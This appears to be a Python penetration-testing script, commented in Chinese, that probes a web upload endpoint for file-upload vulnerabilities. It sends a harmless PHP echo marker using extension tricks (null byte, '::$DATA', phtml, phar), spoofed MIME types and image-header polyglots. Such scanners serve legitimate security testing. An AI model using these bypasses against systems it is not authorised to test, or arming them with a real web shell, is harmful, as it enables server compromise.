1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
| #!/usr/bin/env python3
"""
檔案上傳漏洞自動化測試腳本
"""
import requests
import os
import sys
class UploadTester:
def __init__(self, target_url):
self.target_url = target_url
self.results = []
def test_extension_bypass(self):
"""測試副檔名繞過"""
extensions = [
'php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar',
'PHP', 'Php', 'pHp', 'php.jpg', 'php%00.jpg', 'php ',
'php.', 'php::$DATA'
]
payload = '<?php echo "VULNERABLE"; ?>'
for ext in extensions:
filename = f'test.{ext}'
files = {'file': (filename, payload, 'image/jpeg')}
try:
response = requests.post(self.target_url, files=files, timeout=10)
self.results.append({
'test': f'Extension: {ext}',
'status': response.status_code,
'length': len(response.text)
})
except Exception as e:
self.results.append({
'test': f'Extension: {ext}',
'error': str(e)
})
def test_mime_bypass(self):
"""測試 MIME 類型繞過"""
mimes = [
'image/jpeg', 'image/png', 'image/gif',
'application/octet-stream', 'text/plain'
]
payload = '<?php echo "VULNERABLE"; ?>'
for mime in mimes:
files = {'file': ('test.php', payload, mime)}
try:
response = requests.post(self.target_url, files=files, timeout=10)
self.results.append({
'test': f'MIME: {mime}',
'status': response.status_code,
'length': len(response.text)
})
except Exception as e:
self.results.append({
'test': f'MIME: {mime}',
'error': str(e)
})
def test_magic_bytes(self):
"""測試 Magic Bytes 繞過"""
payloads = [
('GIF89a<?php echo "VULNERABLE"; ?>', 'gif'),
(b'\x89PNG\r\n\x1a\n<?php echo "VULNERABLE"; ?>', 'png'),
(b'\xFF\xD8\xFF\xE0<?php echo "VULNERABLE"; ?>', 'jpg'),
]
for payload, ext in payloads:
if isinstance(payload, str):
payload = payload.encode()
files = {'file': (f'test.php.{ext}', payload, 'image/jpeg')}
try:
response = requests.post(self.target_url, files=files, timeout=10)
self.results.append({
'test': f'Magic Bytes: {ext}',
'status': response.status_code,
'length': len(response.text)
})
except Exception as e:
self.results.append({
'test': f'Magic Bytes: {ext}',
'error': str(e)
})
def run_all_tests(self):
"""執行所有測試"""
print(f"[*] Testing: {self.target_url}")
print("-" * 50)
self.test_extension_bypass()
self.test_mime_bypass()
self.test_magic_bytes()
print("\n[*] Results:")
for result in self.results:
if 'error' in result:
print(f" [-] {result['test']}: Error - {result['error']}")
else:
print(f" [+] {result['test']}: Status={result['status']}, Length={result['length']}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <upload_url>")
sys.exit(1)
tester = UploadTester(sys.argv[1])
tester.run_all_tests()
|